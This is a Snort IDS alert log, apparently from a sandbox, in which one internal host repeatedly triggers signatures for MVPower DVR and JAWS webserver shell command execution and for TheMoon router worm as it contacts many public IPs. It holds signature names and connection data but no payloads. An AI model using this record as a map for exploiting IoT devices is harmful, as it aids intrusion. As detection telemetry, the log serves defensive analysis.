Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:55062 -> 41.225.247.89:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40034 -> 39.134.118.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:40034 -> 39.134.118.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39886 -> 109.144.62.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:39886 -> 109.144.62.251:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46014 -> 93.93.35.206:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46014 -> 93.93.35.206:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:56816 -> 124.224.8.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60076 -> 52.230.37.27:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52114 -> 23.210.193.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54702 -> 119.245.214.196:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38552 -> 152.70.101.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34716 -> 31.134.203.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52146 -> 23.210.193.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39798 -> 52.84.228.184:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59228 -> 65.158.74.109:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:39798 -> 52.84.228.184:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:47832 -> 172.64.84.43:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:56144 -> 172.65.29.109:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:56386 -> 172.67.255.120:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:47158 -> 172.65.158.64:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53168 -> 218.98.24.131:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:45392 -> 172.65.209.44:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:59812 -> 172.67.141.167:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59920 -> 104.121.124.253:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:59866 -> 172.64.141.236:8080
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.121.124.253:80 -> 192.168.2.20:59920
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42870 -> 89.108.73.18:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:35184 -> 172.67.67.133:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:42870 -> 89.108.73.18:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35708 -> 184.86.152.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54104 -> 104.164.169.93:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36400 -> 192.135.255.75:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59834 -> 198.199.102.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52982 -> 197.89.35.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42988 -> 154.210.37.74:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 184.86.152.228:80 -> 192.168.2.20:35708
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:35708 -> 184.86.152.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48996 -> 23.217.93.89:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:36400 -> 192.135.255.75:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52982 -> 197.89.35.11:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59834 -> 198.199.102.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46086 -> 156.255.229.169:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56444 -> 23.210.44.11:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.210.44.11:80 -> 192.168.2.20:56444
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.217.93.89:80 -> 192.168.2.20:48996
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48668 -> 45.159.210.1:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41460 -> 34.235.73.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:41460 -> 34.235.73.133:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:48270 -> 172.67.91.123:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:41484 -> 172.64.155.188:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:43662 -> 172.67.26.74:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41752 -> 51.81.2.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46932 -> 178.18.220.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42776 -> 156.230.200.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46932 -> 178.18.220.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57766 -> 23.32.143.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38646 -> 23.9.148.139:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.32.143.234:80 -> 192.168.2.20:57766
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37638 -> 13.230.116.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46718 -> 23.46.11.177:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53916 -> 75.2.77.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60378 -> 95.111.241.92:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:53916 -> 75.2.77.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38062 -> 161.111.60.39:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.9.148.139:80 -> 192.168.2.20:38646
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48220 -> 173.56.119.136:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40932 -> 23.250.111.16:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.46.11.177:80 -> 192.168.2.20:46718
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46718 -> 23.46.11.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:48220 -> 173.56.119.136:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:40932 -> 23.250.111.16:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.250.111.16:80 -> 192.168.2.20:40932
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59800 -> 137.175.54.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57376 -> 184.168.98.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37348 -> 2.16.248.182:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59800 -> 137.175.54.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57376 -> 184.168.98.145:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 2.16.248.182:80 -> 192.168.2.20:37348
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59572 -> 23.200.208.109:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.200.208.109:80 -> 192.168.2.20:59572
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59572 -> 23.200.208.109:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59578 -> 23.200.208.109:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.200.208.109:80 -> 192.168.2.20:59578
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59578 -> 23.200.208.109:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55576 -> 178.170.150.218:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57404 -> 198.46.174.175:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:33186 -> 172.67.230.193:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:55052 -> 172.65.186.58:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57906 -> 172.64.88.162:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:60776 -> 44.196.38.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57504 -> 34.231.81.221:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:60776 -> 44.196.38.176:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39906 -> 34.117.155.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45870 -> 108.165.243.246:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46502 -> 68.69.87.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57504 -> 34.231.81.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50932 -> 5.8.49.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48358 -> 200.196.44.70:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:58534 -> 172.65.92.186:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:48354 -> 172.67.250.252:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46502 -> 68.69.87.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:48358 -> 200.196.44.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35626 -> 170.247.140.205:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:49988 -> 172.65.201.180:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50750 -> 5.23.52.246:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:50750 -> 5.23.52.246:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36786 -> 104.107.132.223:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.107.132.223:80 -> 192.168.2.20:36786
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:48934 -> 213.142.140.148:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:48934 -> 213.142.140.148:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37408 -> 23.195.166.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49070 -> 76.8.105.99:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.195.166.127:80 -> 192.168.2.20:37408
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:37408 -> 23.195.166.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51028 -> 18.182.158.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:49070 -> 76.8.105.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56266 -> 52.193.206.190:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:51056 -> 172.67.15.43:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:58850 -> 172.67.15.32:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51232 -> 18.66.248.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:40632 -> 146.75.74.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49744 -> 185.224.138.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:51232 -> 18.66.248.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:51126 -> 133.236.226.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52740 -> 199.232.99.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36576 -> 85.214.27.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35914 -> 40.114.208.223:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50742 -> 198.74.113.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56940 -> 13.110.34.2:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59080 -> 104.91.234.244:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56432 -> 13.33.57.141:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38122 -> 154.210.149.135:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:56940 -> 13.110.34.2:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.91.234.244:80 -> 192.168.2.20:59080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59080 -> 104.91.234.244:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52922 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56166 -> 64.71.178.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52922 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33072 -> 155.159.101.80:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57666 -> 172.65.71.27:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:44124 -> 172.67.46.146:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:53246 -> 172.65.135.148:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:40848 -> 172.67.161.63:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33072 -> 155.159.101.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:45652 -> 23.73.249.138:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50514 -> 207.170.184.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55352 -> 18.189.130.244:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52966 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.73.249.138:80 -> 192.168.2.20:45652
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38252 -> 114.55.93.212:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46966 -> 104.115.78.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:52966 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43520 -> 123.129.246.22:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.115.78.145:80 -> 192.168.2.20:46966
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57828 -> 172.67.104.6:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:54494 -> 172.65.187.62:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:37322 -> 172.67.248.193:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:44880 -> 172.67.157.110:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:32978 -> 172.96.177.2:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:35844 -> 184.71.129.150:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41718 -> 191.101.178.173:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:41718 -> 191.101.178.173:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52004 -> 141.138.209.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52816 -> 69.204.12.156:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53030 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:43568 -> 123.129.246.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49342 -> 192.145.164.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:53030 -> 190.128.24.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35544 -> 182.16.189.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38846 -> 23.89.129.79:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:38846 -> 23.89.129.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53666 -> 70.23.23.190:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:41696 -> 108.178.225.112:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:53666 -> 70.23.23.190:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56450 -> 104.101.12.170:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.101.12.170:80 -> 192.168.2.20:56450
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56484 -> 104.101.12.170:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.101.12.170:80 -> 192.168.2.20:56484
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42594 -> 99.84.44.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55044 -> 89.144.4.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:52670 -> 92.79.100.42:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34138 -> 86.58.187.44:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58314 -> 54.171.233.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:58314 -> 54.171.233.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57908 -> 208.67.198.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:55012 -> 70.182.199.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53402 -> 1.14.162.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39078 -> 156.234.192.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:39072 -> 104.221.187.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:36132 -> 122.9.161.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:49352 -> 20.37.133.156:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57814 -> 89.170.253.54:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:56224 -> 172.80.110.12:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:57382 -> 23.197.56.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59660 -> 34.199.175.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37442 -> 69.194.236.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:56224 -> 172.80.110.12:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35212 -> 153.92.10.131:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:38382 -> 35.74.86.28:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:37442 -> 69.194.236.73:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:34546 -> 172.67.67.200:8080
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.197.56.66:80 -> 192.168.2.20:57382
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:57382 -> 23.197.56.66:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:35544 -> 182.16.189.125:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:49352 -> 20.37.133.156:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:60312 -> 172.67.105.99:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:57108 -> 172.65.202.229:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59030 -> 185.240.104.248:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:47596 -> 178.128.168.172:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33904 -> 197.26.45.253:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:47596 -> 178.128.168.172:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34744 -> 23.1.55.58:80
